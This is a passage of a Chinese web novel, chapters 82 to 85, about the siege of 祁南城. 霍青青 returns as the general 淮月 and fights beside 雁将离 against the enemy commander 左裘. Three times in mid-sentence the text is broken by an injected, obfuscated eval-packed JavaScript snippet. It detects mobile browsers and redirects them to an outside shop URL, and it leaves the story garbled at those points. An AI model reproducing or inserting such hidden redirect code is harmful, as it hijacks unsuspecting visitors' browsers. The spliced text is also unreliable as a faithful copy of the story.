晏枕深吸一口气,手死死扣住城墙边缘。 “瞧不清也要守,将离走时说了,再等等,定会有人来援。” 淮月…… 到如此地步,淮月罪不可恕。 晏枕抽出刀,斩落一个攀上来的南羌军,滚烫的鲜血落在他面上,夜色之下如鬼魅。 “去再搬些石头来,给我砸。” 晏枕当先将石头推下去,随后便是沉闷的声响。 “军师,不若再退一步吧,退至下一座城池还有反击之力,若是耗在这里,我们的粮草迟早会耗光,到那时恐怕……” 兵士话未落,就被晏枕喝断:“退?我们拿什么退?一步退步步退,你可知祁南城若破会牵连多少百姓?南羌北蛮,曾踏大煜屠城,我们不能再退了。” 晏枕面沉如水,握住刀游走于城关之上,南羌那方怕是还在追雁将离,雁将离同他们一战负伤未死,他们定不会放过这个机会。 南羌北蛮锋锐虽已锉,大部兵力仍追至城外,再分其余兵马搜寻雁将离。 大片的鲜血浸进厚厚白沙里,在夜色里看不真切。 祁南城,是大煜最后一道防线。 他们退无可退。 晏枕已数日未眠游走于城关之上,他要应对的,是南羌铁骑将领左裘。 “整军!再整军,城墙上两日一轮换,能起来的都爬起来。你们身后便是我大煜国土,是百姓。” 晏枕双目赤红,整个人被血水浇透,他强撑着站在城关上,已又过七日。 “军师,晏军师,这般下去不行,你先下去歇着,我们来抵。” 晏枕转头,他记得这个校尉是霍姑娘举荐的,似是姓林。 正在此时,一支羽箭呼啸而来,林豫长剑一抬堪堪挡下。 他一把拽住晏枕往下一拖:“晏军师!你先下去,我知道,我知道你在等青青。我也在等。” “雁将离既然让你等,她就一定会来。晏军师,如今雁将军不在,你若是再死了,锋锐骑就当真会军心溃散。” 晏枕看他一眼,见他目光凛冽,咬牙道:“我等着。” 林豫带着人学着他的模样游走城关上,又谴人捡了一轮羽箭挽弓射/出。 “这样下去不行……”林豫喃喃着,这般战事,他还是第一次遇上。 第一次看到如此惨烈的情形。 他若与副将带着人一同杀上一次,以命相搏或许能给锋锐骑换来喘息的机会。 可……不能再徒增伤亡了,锋锐骑中已耗不起了。 那便当真无解了吗? 雁将离与南羌北蛮那场鏖战,锋锐骑已是损伤近半数。 他那日里见着雁将离玄甲长枪连取三个敌将人头,才知雁将离为何会让南羌胆寒。 “有人,随我一起杀出去吗?”林豫的声音传进许多人耳中,也穿进晏枕耳中。 他朗笑一声:“我是前朝林映林阁老之孙,林豫。我此去,当以血肉卫家国,林豫不负锋锐骑亦不负我林家。” 竟是林阁老的孙子么…… 晏枕心中激荡,又有些庆幸。 朝堂还有如此后生,也算得没有没落。 “晏军师。”林豫拱手一礼:“还请晏军师坐镇,为我等指一条路。” “好。”晏枕握剑拂甲:“众人且听我号令,整军出战。切记,可且战且退,万不能以命作抵。我们,待将军归来,定然能破此局胜此战。” 一时战鼓声迭起掀起一阵兵戈,一百轻骑为一队自城门下分出四队。 副将和林豫各领一队,剩余两队绕后潜行。 林豫轻甲在身,反手握剑。 他一夹马腹,纵跃而出。 只片刻,锋锐骑数人便同南羌铁骑先锋战在一处。 晏枕静下心来,双手撑在城关乱石上看着战局,他抬手召军:“再谴两百精锐自后门绕出,击杀南羌守军。速战速决,杀后便退。” “另点一千随我前去解围,两百人击杀守军后迂回绕出,再杀回马枪。” 他握住锋锐骑战旗,在城关上挥出血色长影:“随我一起,战。” 林豫一击中便带着人后撤迂回。 奈何南羌北蛮联手,人已是多上一倍。他一时撤不出,被围困其中。 他们只能稍阻南羌北蛮二军脚步,给祁南城再拖上些日子。 他肩膀忽被一支羽箭刺穿,力道之大将他带落下马。 又是一支箭矢袭来,他堪堪躲过,那箭矢在他脸上拉开长长一道血口。 见此,分散的小队聚拢回来,让他得以喘息。 他自地上爬起来,抬手握住箭身将它拔出。 有人笑道:“雁将离已死,淮月已叛。你们,不过是垂死挣扎。” 是左裘。 他握着那一杆三尖枪纵马行来。 他跟大煜斗了这么些年,终于踏破白沙关。 如今雁将离已死,滏南关亦危,大煜再无将。大煜,已是他囊中之物。 林豫杀着敌军,闻言不由冷笑一声:“雁将离未死,淮月未叛,你才是垂死挣扎。” 左裘抬手,南羌铁骑合北蛮骑兵瞬时压来。 晏枕大喝一声:“林豫,快退!!!” 林豫转头看了城关一眼,似是没听到一般。 他握住剑柄笑了句:“不怕死的就随我杀出去。” 他站在纷飞的血肉里,提剑,斩出。 打下去,守下来。 他心中只余下这一个念头。 血色遮蔽了他的双眼,他仍在厮杀。 刀光剑影之中,削下他的血肉,他死战未退。 能拖一时便是一时。 身后的祁南城早已经不起再一轮的攻城了。 锋锐骑倾巢而出,无人害怕无人退却。 他们,是白沙关战将,是雁将离手下锋锐骑。 “誓守家国,死战不退!” 不能退不可退,他们的将军定然未死,会回来守住祁南城。 人人都坚守着信念,他们便是大煜虎将。 “锋锐骑众将士听令,且战且进,变阵回寰。” 忽有一道清亮女声回响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725793|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在杀伐声中,她青衣墨发,纵着一匹高大白马疾驰而来。 “是她!”晏枕在城关之上看得清楚。 此刻霍青青面戴半张银面,手持破甲锥杀入阵中挑起林豫将他救上马背。 “淮月将军?” “不对……不是淮月将军。”锋锐骑中人勉力顶/住又一轮攻击,死死看着那抹青影。 “破甲锥,你是淮月?”左裘愕然:“怎么可能?” 只须臾,霍青青便杀至他面前,破甲锥锋芒无匹,带着破空之声连挑下三个铁骑。 “我是淮月,也不是淮月。”霍青青眸光微寒,破甲锥刺入铁骑甲胄缝隙之中往上一挑,瞬时收割数人性命。 淮月将军,已许久未曾出战,他们只记得淮月将军曾千里奔袭,一柄破甲锥出神入化,杀南羌铁骑无数。 已许久,未曾打过这般苦的战役了。 他们到底能胜吗? 许多人心有疑问,可看着那一袭青衣于敌军之中奋力厮杀,却觉得他们还有一线生机。 不多时,后面又扬起一阵沙尘。 遥遥望去,穿着各异的人纵马而来,纷纷入战,也不知都是些什么人,敌军气焰顿消,一时竟扳回一成。 冬日时节白沙漫卷的祁南城外,亮丽的紫绫划出如虹匹练,忽如锋刃一般割来,搅落敌首。 纷乱的军阵中,有一袭白衣甚是惹眼,那双铁鞭虎虎生风,双鞭如电,轻巧游走于敌军之中带出声声闷响。 也有那大刀如山岳,呼啸的风声间,带起风刃绞杀数个敌军。 来人不过百余,竟似都能以一敌百。 锋锐骑中人越战越勇,有此等援军,他们定能守下去。 晏枕心中还是悬着,可这般下去,终究不行,南羌北蛮兵士众多,也难抵。 或是伤他元气退回祁南城死守,或是一举歼灭。 如今怕是只得前者,只能先锉尽他前锋,待大煜兵马来援。 “那是……什么?” 有人撑起身,看着自远处激起一阵沙尘。他们从白沙关那方来,狠狠同南羌铁骑撞在一处。 “是何人?”左裘一惊,忙勒转马头。 那一人玄甲长枪,于万军之中杀来,他踏过血肉残躯,重新站在远处那方天地。 “锋锐骑,雁将离。” 左裘一声嗤笑:“我道是谁,原来是夹着尾巴逃走的小儿。” 雁将离轻扯唇角,玄枪提起,遥遥指向左裘:“逃走?你那三百精兵可是一个不剩。” “本将军能出现在这里,自是未曾想逃,你三百精兵拿不下我的命,如今死的,就是你。” 只须臾,他便跟左裘战至一处,霍青青牢牢护在他背后。 她只觉他不对,听着他的玄枪带起的风声微滞。 “将离!”霍青青一声轻喝,替他挡下一击。随后带着他将敌军撕开一道口子冲出去。 霍青青一声呼哨,飞雪急踏而来,她翻身上马。雁将离玄枪横握,轻点马背之上,一个纵跃落于她身后。 “青青。”他松了一口气,身上的血滴落下来,染红了马背。 “开城门!”霍青青大喝一声,纵马带着雁将离冲进祁南城中。 身后跟着锋锐骑将士和前来助战的义士。 城门终是合上了,晏枕匆匆下来却被霍青青挥开。 霍青青寻了一处干净的地方把雁将离放下来。 雁将离费力地抬起手轻轻扯住她的袖口:“青青。” 83.青草歌 “你……”霍青青叹了一口气。 “我怕前线伤药粮草不够,已让十三楼往各处借粮。伤药是搬了师父的,这次他没说什么,只问我够不够。” 霍青青一边说着,一边伸手就要卸他的玄甲。 她似是想起什么顿住手,将雁将离拖起来:“忘了。” 等到了简陋的屋子里,她才把他放下。 雁将离靠坐在墙上看着她忙前忙后,一时恍惚起来。 好像又回到从前。 霍青青熟练地挑开他的甲胄清洗伤口。 他身上许多歪歪扭扭的伤口都是她亲手缝的,那时候她不会,又寻不到郎中,就只能大概想着该怎么下针怎么缝。 雁将离总一声不吭地看着她,就如现在这般看着她。 等着她缝好伤口,雁将离终于笑了一句:“比之前好。” 霍青青火气瞬时就上来了,她压下怒意,淡淡道:“是,多谢雁大将军,让我缝针的技艺再进一步。” “我……” “闭嘴。” 雁将离刚蹦出一个字就被霍青青喝断,他垂下眼睫看着她一圈圈绕上纱布唇角勾起一抹笑。 “左裘的精兵,被我杀了。方才又被突袭,应当又能缓些时日。” “青青,你不该来。我能守。” “雁将离,你若是死了,锋锐骑能守几时?凭晏枕能守几时?” “我将他精兵杀干净了。”雁将离抬起手轻轻勾住她袖摆:“还杀了个回马枪。青青,我不会死。我知道你会来,我在等你。”没见到你,又怎能死? 最后一句话在他口中打转,最后湮灭在喉间。 “你当你当真能一骑当千吗?”霍青青拽住他的领口,又骤然松开:“我去看看其他人,你且好好养着。多歇几日,外间有我。” “谁去借的兵?”雁将离闭目靠在墙壁上。 霍青青拉开门,许多天光洒进来,照亮一方天地:“顾衍去的,他会来。” “算来,少说还得守月余。”雁将离的手握上颈间的玉坠,他如今提枪费力,微微喘息着。 “青青,若是祁南城守不住,你带着他们走。” “雁将离,我若不来你是不是就会拿你当最后的防线去阻左裘?”霍青青猛然回身,夺过雁将离的玄枪狠狠扎入他耳畔的墙面:“如今我来了,我给你两条路,跟我一起死,或是跟我一起活。” 雁将离垂下眼睫,轻笑道:“我知晓了。” 她从来都是如此,只要是她认定的事她会不顾一切。她从来都不会丢下任何一个人。 …… 等霍青青再出来时,晏枕便迎上来。 “你可要同军中人说说?” 霍青青自是知晓他说的什么,轻笑道:“我本就是淮月,还需如何说?” “也好,既如此,我也无话可说。”晏枕终于松快下来。 他身形晃了一下,好在霍青青眼疾手快,将他一扶:“晏军师,有我在,你且先去歇着,顺便帮我照看下林豫,他受伤不轻,我怕他一时热血上头不好好养伤。” “其余人,我让他们去照看着,这几日军中,便交给我。” 晏枕道了声谢,最后轻叹道:“果真还是要真的淮月将军才能制住他,你不知那日里他带着五十骑突袭左裘军营本就是抱着死志。好在……还有你。” “如今我亦不知还能守多久。算算时日,粮草军备怕是还需七日才能到此。如今城内所有的粮草兵马,你们还需整合好了递给我。” “左裘领南北两方人马,方才只是锉了他万数先锋,怕是过不了几日就会再次攻城,这场仗胜算不大。” 霍青青桃花眼微眯看向城关:“若是守不住,我便与城共亡。” 晏枕看着她,终于知道为什么人人都说霍家青青好。 她明明是位列三公的霍家用银子堆出来,捧在手心里养着的大小姐。却偏偏放下那养尊处优的日子,去看过许多闺阁女子未曾看过的天地。 她走在自己那条路上,始终坚定地朝前迈步,不曾退缩。 那时他也问雁将离,淮月将军到底是谁。 雁将离说,一直都是青青。 锋锐骑中淮月将军,是是大煜唯一一个以女子之身封将的。 虽不掌兵权,但她有名号有声威有那等奔袭千里挑南羌的魄力,是矣,她于锋锐骑军中威望极高。 霍青青恐怕也是知晓此事,才会一马当先前来助阵。 有她和他,有他们,锋锐骑才会是大煜不败的虎将。 晏枕释然一笑,罢了,他这个军师自是同锋锐骑共进退。 …… 霍青青着甲,青衣银甲端坐案边,翻看着方才呈来的军报。 此战打了这么些时候,去往京都的信件竟是寥寥无几。 如今军中粮草将尽,至多还能撑五日。 加之城中军备也耗尽,几日后的攻城怕是再不好打。 晏枕先前那几轮守城,城中能用上的也都用上了。 南羌北蛮双兵,小算十万众,折损当在三成。 锋锐骑折损小半,如今还余三万余兵马,其中锋锐骑前锋余七千,轻骑三千,枪兵万数,重甲五千,余下的便都是厮杀的兵士。 南羌北蛮…… 左裘精兵三百被雁将离杀尽,昨日里骑兵损失少说在千数。 此前,将离已突袭两次,如今若是主动出击怕是讨不了好。 霍青青叹了一口气,到底为何会如此。 “小青儿,你也别急,跟着你来的人都不是贪生怕死之辈。如今这局面,大家也都知晓。若是有想用的招,那便用吧。” 兰浔不知何时过来的,她还是那一袭紫衣,绕着她那紫绫。 她面容略带疲惫,过来便靠上霍青青身边,她看着桌上摊开的军报,伸手捏捏霍青青的脸:“你家那顾衍就不能快些?” 霍青青苦笑一声:“想快也无法。徐从风若是不肯借兵,那便只能与城共存亡了。” “我哥不可能会弃滏南关于不顾,他那方怕是还在被北蛮纠缠。况且大军行进慢得很,从北到南太远。” “徐从风那厮也当真是视人命如草芥,他到底有何隔阂要拿这么些人的命去消?” 霍青青冷笑一声:“先帝口口声声说他不会弃大煜于不顾,怕是也看走了眼。” 她说着轻轻拂开兰浔微乱的额发:“阿浔,这些东西,你听完知道该如何做。” 兰浔疲惫地点点头:“这是自然,我可什么都不知道。” “好阿浔,你知不知道先帝怎么死的?” “先帝……不是因病而亡吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729607|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”兰浔闻言一愣,她起身探头看看门外,将门关死。 霍青青见她这般不由好笑:“没人,放心。” “小青儿,你可真是……”兰浔一时不知道说什么,她本是随口那么一说,奈何小青儿还真知晓。 想想也是,霍家乃是前朝重臣,为官数十载,知晓的秘辛怕是数不胜数。 “听听也好,你便当说书的折子听听罢。”霍青青拉她坐下。 “徐从风,是先帝的手足兄弟,乃先帝亲信。前朝曾也有南羌犯境,亦是他出兵镇压。” “只后来,先帝突然发病,那时正是立太子一月后。先帝病危,多方争位,明顺帝为稳朝堂即刻登位,便引得徐从风不满,加之先帝驾崩太快,他疑是明顺帝为了皇位暗害先帝。” “先帝的死,也确是不简单,与明顺帝……脱不开关系。”霍青青声音轻浅,接着道:“明顺帝将先帝驾崩的日子提前了些,如此,才拿了玉玺掌权。” “徐从风许是查到了什么,才在那之后退回封地不再过问朝堂事。” “可那时,若明顺帝再不登位,只怕是会有更多无辜百姓受牵连。他登位后,即刻清洗朝臣,点兵杀叛军稳民间。” “明顺帝没错,这个皇位本就该是他的。为尽快平乱了结那不省人事的先帝后继位,对错不好说。” 霍青青听着外间号角又起,极快起身推开房门:“徐从风此人也是钻了牛角尖,若真要说,先帝定然更想看到大煜安稳,百姓安宁。他那时已是苟延残喘,没剩多少时日了。” “许多时候,人情虽在,但别的人,就该枉死吗?” “百姓何辜?将士何辜?徐从风若当真眼睁睁看着外敌踏我国土而不动分毫,那他怕是要去地下同先帝赎罪了。” 说罢,她才踏出房门。 兰浔斜躺在榻上闭目养神,这些事,她知晓了也只是知晓了。 明顺帝推新政利百姓,助林阁老修建青州学宫,信忠臣提良将,他既非昏君,便当得此位。 外间喧嚣起来,大抵是小青儿整军。 她家小青儿,披甲跃马时,那帮孙子还不知道在哪里。 小青儿同南羌打了这么些年,也只是后来那淮月落了小青儿打出来的名头。早年里,她就听商贾说锋锐骑淮月将军,那手破甲锥让南羌铁骑胆寒。 那时她常在白沙关外纵马巡关,青衣银甲,救人于绝境。 他们口中的淮月,是小青儿。 …… 外间,霍青青青衣银甲立于城关之上,有风来,便卷起那衣袂,带起茫茫天地里一抹青。 她取下遮面的面具,将那面具扔下城关,看着银白面具跌进底下的血肉泥泞里。 “诸位,许久未见了。如今淮月在此,与祁南城共存亡。” 她话音未落,便有人纷纷高喝:“我等誓死追随将军!” 此起彼伏里,有人于人群中迷茫,淮月将军似是同从前一样又不一样,可那破甲锥做不得假。 林豫也在人群中,望着那抹青,青色与天光交织着,在冬日里映出春日生机。 “青青草啊青青草,野火烧不尽,大风吹不倒。” 有人说,这首童谣,是白沙关里的孩童喜欢唱的歌谣。 在凛冬之后,春日之前,唱起青草歌,迎来又一年新生。 84.活下去 “前方,何人为将?”有人执黑子落于棋盘之上。 “我猜,是我那孙女儿。”霍书执白子靠坐椅子上,闲落一子。 屋内燃了炭火,驱走冬日严寒。 案几上摆下一方玲珑棋子,再看去,执黑棋者两鬓斑白,已见老态。 “你那孙女……”老者喃喃一句,捡起被他吃掉的白子提进棋钵中,他抬眼望向自己老友,眼中带着探究:“你就不怕她死在那方吗?” 霍书掂着手中棋子,洒然一笑:“是她自己选的路,她若死了,我便带着霍承阳给她送葬。徐大将军还替我心疼呐?” “你没变,还是这般阴阳怪气。”徐从风嗤笑一声,手中棋子叮叮当当落进棋钵里,召来门外站着的赵亓。 “赵亓,我问你,她胜算几何?” 赵亓恭敬一揖,与明顺帝有五六分相似的面容上带着微微笑意:“若师父借兵,是十成。若师父不借,她亦有三成。” “哦?”徐从风起了兴趣,又低下头去看着棋盘之上自己被霍书杀到腹地,不由有些诧异:“那三成何来?” 按说南羌北蛮合围,她手中只有那五万锋锐骑,就算有白沙关、祁南城两道难关抗敌,手中兵马不足粮草已耗,凭这点东西何来胜算? “师父,你不知青青自是不曾知晓。”赵亓含笑,得了霍书示意才接着道:“青青从来都不会把筹码全部押在一处。她纵抱死志,也会将南羌北蛮再重挫一次。不说全数击退,但以小搏大,也会将对面打出祁南城外。” “师父,大煜的命脉,在你手里,也在她手中。” “臭小子,养了你这么些年,还是胳膊肘往外拐。”徐从风顺手敲上他的头。 当年之事,他确是一时接受不来,可想了这么些年虽心有芥蒂,但已是看开许多。他这霍家老友仍在朝堂辅佐明顺帝,那便证明了,明顺帝值得。 这些年他虽不问朝堂事,但百姓如何他也看在眼里。 只是未曾想,宋世荣会反,两朝老臣手中那许多筹码成了他反的基石。 长生教之祸,他也曾以为与他无关,可偏偏是贺乾同他联手。 那可笑便可笑在,一个两个老东西都栽在那么个小辈手上。 果然是霍家人啊…… 霍家人没一个是善茬,出了个小丫头都是藏着獠牙装乖巧。 “非我不出征,而是大军行进慢,所需财力粮草不知凡几。大煜如今国库紧,若要前往,怕是还要好好安排。”徐从风叹了一口气:“打仗啊,最是劳民伤财。我也年事已高,再不能披甲上阵。七万大军,何人领兵?” “徐大将军不必担心。” 忽有一道声音由远及近,随着马蹄急踏,一人玄衣轻甲自马背上一跃而下。 他腰间绣春刀打眼得很,翻下马来几步到得徐从风面前,手中是一折书信。 “此为圣上所书,让我一并带给徐大将军。另,徐大将军无需担心人财粮草,青青早已备好,由三皇子带人亲自护送,粮草已先行了。” “老伙计,你还是小瞧我那孙女儿了。”霍书也站起身来,目光落在来人身上,淡淡道:“顾衍。” 徐从风看着那封信,没有接,背过身去叫人捧来甲胄长/枪呈至赵亓面前:“早年退回封地,他予我这套甲胄,我知他想让我再守国门,如今,便给你了。” “赵亓,你为大煜皇家,也为我门生,别丢了大煜的脸。你要是死,也该给我死在战场上。” “帅印虎符……”徐从风自暗格里取出一面帅印和半边虎符,他看着顾衍:“我听闻锋锐骑雁将离同淮月誓守国门,如今,便都予他们罢。” “锋锐骑淮月……”霍书拂袖笑叹:“不也是我那孙女儿吗?” “哦?”徐从风一怔,看着顾衍点头,他才恍然看向霍书:“你那孙女儿果真了不得,你家霍承阳不提刀剑,生了个女儿倒是能文能武了。” “罢了,前尘旧怨就不再谈了,有人已成了灰,我也不再计较。只是今后大煜国门,要这些年轻人来守着了。” “海晏河清,家国在。百姓长安,你我所愿啊……” 苍老飘渺的声音,在冬日寒风里渐渐飘散,他终是放下了。 也该放下了。 霍书拢着手捡起他扔下的那封信,将之撕碎,看着破碎的纸片融进细雪里,不多时便被打湿。 “顾衍,带人走,大军拔营还愣在这里做甚?”霍书袖一挥,带起一阵凛冽霜风:“赵亓,着甲!莫堕了你师父虎将之名。” “是,赵亓定不堕师父威名。” 赵亓双手捧起甲胄长枪,甲胄轻响,长枪破空,再以一杯烈酒敬将军。 “师父,此去路遥,待我凯旋。” “顾衍,整军!助我青青驱外敌,振国威。谁再说我大煜无将,就将他对穿个血窟窿,教他好好瞧瞧我大煜儿郎。” “晚辈得令,还请霍大人放心。”顾衍翻身上马朝着门口奔去。 他玄衣翻飞,纵马疾驰。他所往,是白沙关。 …… 冬夜,细雪。 祁南城这方今岁少见地落了雪,较去岁冷了些。 城中许多人挤在一处取暖。 霍青青拨弄着篝火,她看了眼一旁角落里抱枪小憩的雁将离,压低声音同兰浔说话。 “阿浔,晚些同我出去。” 兰浔一惊,一把按住她的手:“你不要命了?” “嘘,别吵醒将离。”霍青青瞥了雁将离一眼,见他未醒才松开点在兰浔唇上的手:“我去探一趟,很快。” 兰浔无奈之下只能点点头:“小心些。” 霍青青借着夜色翻出城墙,正欲跳下却被人拦住。 一杆玄枪拦在她腰间将她往后一带。 “还不是时候。”雁将离的声音自她身后响起,还带着点倦意:“回去,莫冒险。” “将离。”霍青青转过身来看着他,见他站在夜色里,一身玄甲似融进暗处。她握住他的玄枪将他带出来几步:“很快,去去就回。” “你的安危比什么都重要。他们若是明日攻城,我们还能顶住。暂且不必冒这个险。” “那方人太多,我不能放你去。” “等我伤再好点再去。” 他玄甲折射出一星光亮,就这般横握玄枪站在夜色下看着她。 “青青,回去罢。好好呆着,我知晓你想做什么,再等等,我陪你。你一人,我不放心。” 霍青青垂下眼睫,看着拦住她的玄枪,不由苦笑:“将离,你还是这般。” “我哪般?”雁将离浅浅勾唇:“你知我便好,如今你我都不能再出事了。” 他微微转头示意那方睡着的兵士:“他们的主心骨是你我,并非我一人。那时淮月叛出,亦只有亲信知晓,他们都未说什么。他们知晓淮月非淮月。” “青青,城在我在,你不必担忧。百姓无辜,我必不会让南羌铁骑踏破城关。你信我。” 冬夜里的祁南城,细雪纷纷扬扬落在他们身上,落下便化了,浸湿他们鬓发,又顺着面颊落下来。 雁将离如初时那般,轻扯她的袖口:“青青,走罢。再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733881|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡会儿。等天亮之时,便又是新的一日了。” 霍青青随着他行过城关,她抬起手接住那细雪,她路过乱葬岗时也是这般冬日,寒风刺骨里,她的裙摆被他的手拽住。 活下来。 这是她同将离说的第一句话。 雁将离走在前面,知晓她亦步亦趋地跟着他,不由笑道:“青青啊,许久没看过这方下雪了。你一来,就碰上了。” 真好啊…… 看着那细雪纷纷扬扬落了他们满头,像是浸到心中化作满身奔流的血液,融在一起,难分你我。 “这方都下了雪,那京都的雪,应当下得更大。”霍青青也笑说一句:“去岁这时还在京都,将离,你好久没回京都看雪了。” “那便待此间事了再回去看吧。这兵权拿着怕是有些烫手了,不如借机交了,他也放心些,你……也没那般为难。” “将离,他既已放我前来,又何不是已经放下。他信霍家、信我,便也信你。这兵权,他未让你交,你便还得拿着。”霍青青同他站在一处廊下,看向远处望不见光亮的夜里:“将离啊,雁子总会南归。” 雁将离不语,许久他才开口道:“青青,去睡罢。我守着。” 雁将离倔起来,十头牛都拉不回来。 霍青青只得点点头。 边关入冬的日子难捱,又逢霜雪,那方行进定然缓慢。歇了这三日,许多人多少都恢复了些,只怕如今只能安宁片刻,等天亮,又该打起十二分的精神去守城。 …… 破晓时分号角骤起,惊醒了许多半梦半醒的人。 霍青青握住身边破甲锥便匆匆赶上城楼。 雁将离不知何时已在城楼上,看着底下又一轮攻城。 左裘果真想借士气高昂时一举攻破祁南城,歇了三日便又开始大动干戈。 这方雪粒子小,一落下来便化了,昨夜一夜里便也没点积雪。只有被雪水化去的鲜血斑驳着浸进地面变得乌黑。 “取箭来。”雁将离吩咐一声,立时有人递上弓箭。 他挽弓,弦上搭一支比普通箭矢更长更利的白羽箭,瞄准正靠近的举着藤盾的南羌军。 这一箭直直扎入藤盾之中,力道之大竟直接将藤盾穿透扎入盾后人的眉心。 “可惜了,箭矢不够。” 他取过一旁削尖的木棍,扎透一个将爬上来的南羌军胸膛。 温热的血液飞溅出来,落在他玄甲上,顺着玄甲滴落到地上聚成一小滩。 他又握枪,踏在攀上来的南羌军肩头生生将人踹下去,纵跃间挑落数个南羌军。 远处突起沙尘阵阵,雁将离面色一肃,连踏数步游走于军阵之中。 霍青青见状反握破甲锥,随兰浔和莫天俞一起领着人自侧面跃下。 他们还有城关,敌我人数悬殊,便只能这般且战且退,祁南城为后盾,他们为刀锋。 霍十一与霍七执剑护在霍青青身后接连扫落数个敌军,霍七踏过脚下成堆的残肢又随霍青青拼杀。 破甲锥又洞穿一个敌军胸口,拖出一串血珠子。 等她再回首,便见雁将离玄甲如鬼魅直袭站在投石器上的人。 她会意,跟在他身后将飞来的箭矢挡开,又拿兰浔紫绫缠上一人后抛出去,借力跃过雁将离,先他一步挑起青石砸在机窍处。 见又是铁骑围拢,霍青青心知不能再战,便命众人后撤。 “将离,快退。” 雁将离定定看她一眼,随后身形一转便朝万军之中的左裘而去。 “将离!” 85.你所愿 “你从前总说我不守规矩,不按常理出牌,那你呢?”霍青青破甲锥破空而去,狠狠砸上南羌军甲胄。 她双目微红,生生撕开一条路。 “我?”雁将离轻笑一声,玄枪急掠,踏过数人马背,玄枪如利箭呼啸而去:“因为我知道,你会来。” 霍青青的破甲锥与他的玄枪同时砸破一面藤盾,扫开左裘身前最后一道防线。 左裘执枪而立,冷哼一声随手抓了身侧一个南羌军当肉盾挡住凌厉攻势,眼瞧着那人被戳成肉泥他随手便将他丢弃。 雁将离朗笑一声,声音于兵戈之声中散开来,清晰地传入霍青青耳中。 “青青,你所愿,是什么?” “是家国安在,百姓长宁。” “是白沙关下,共赏明月。” “是遥望京都,我心向我。” “我都知晓。” 雁将离玄枪划破天际,劈开一道血色。 淋漓的鲜血,化作蓬蓬血雨洒落,那血,顺着他玄甲落下来,一滴一滴跌进白沙里,浸进去,只余下那点深赭色的痕迹。 霍青青满目鲜血,她抓住有人横来的戈往后一拖贯进敌军的胸口将他从马背上拽落。 她翻跃上马背一拉缰绳纵跃而出。 破甲锥与玄枪并立,刺破那方沙尘血幕,带落血珠成串,最后杀入重围。 紫绫飘然而至,裹住一南羌军头颅,斜里刺来一线银光将之割首。 柳三爷大刀在手,一把擦去面上鲜血,笑道:“小天魁,喝酒我输,杀敌,我可比你快。” 莫天俞轻嗤一声,铁鞭抽下一个铁骑兵:“那可不见得。” 军阵之中,他们越战越勇,刀刃残了就劈手夺下敌军的刀兵再战。 兰浔紫绫断裂,她面色微冷,正欲夺刀就听有人叫住她:“兰楼主,接着。” 原来是霍七。 兰浔朝他点点头:“谢了。” 说罢便挥着蛇鞭绞住一个南羌军的脖颈收紧勒住。 霍七不语,手中长剑横扫,又取数人性命。 左裘越打越心惊,锋锐骑已去半数,他所领兵马仍有七万众,这番打下来,锋锐骑竟是越战越勇。 南羌北蛮同时起兵,大煜何来这般财力能支撑两方粮草这么久? 只这么片刻,雁将离玄枪携破甲锥便至面门。 左裘只来得及略躲,脖颈登时被拉开一道血口,他捂住伤口疾退开去,一枪挡下霍青青的破甲锥。 再是一轮箭矢袭来,雁将离眼眸微眯,玄枪探出卡住左裘肩甲一挑,霍青青破甲锥紧随而上刺透左裘肩胛。雁将离玄枪锋刃借她破甲锥利落削断左裘一条手臂。 断臂砸在地下时,两人同时收手疾退,雁将离的血自玄甲缝隙滴落下来,霍青青破甲锥回转勾住他的腰封将他带退几步避过一道锋芒。 “将离,退罢。”霍青青伸手握住他手臂将他拖上马背。 雁将离反握住她的小臂挂上马背,飞雪一个扬蹄踩落一个南羌军。 有人拉开弓箭,忽听两声鹰唳,空中有白影如闪电坠下,只须臾那弓箭手的脖颈就被抓破,立时血流如注身子软了下去。 “疾风骤雨,走了。”霍七夺过一匹战马,吹了个口哨。 霍十一紧随其后,玉白的脸上血迹未擦,如厉鬼修罗。 锋锐骑听到鸣金声纷纷后撤,没有一人恋战。 城门重重落下,又激起一帘尘土迷了人眼。 雁将离咳嗽数声,看着霍青青面容,终是小心扯了她的衣角:“我……” 他话未落,便咳出鲜血来,霍青青早有准备,将他稳稳接住。 “兰浔,去找绳子给我把他捆起来!” 兰浔犹疑着,终是点点头。 雁将离是该被好好捆着,他比小青儿虎多了。只是那顾衍,也不知何时才到,若是再晚些…… 兰浔甩甩头,她晚些也要好好修整一番。 霍青青将雁将离安顿好才去清点伤亡。 她捻着晏枕递来的军报,长叹一口气。 她知晓将离所想,他就是打着不计代价伤那左裘的算盘。如今左裘断臂南羌士气被挫,祁南城又能缓一口气。 只是太过冒险了,她一时都不知说他什么好。 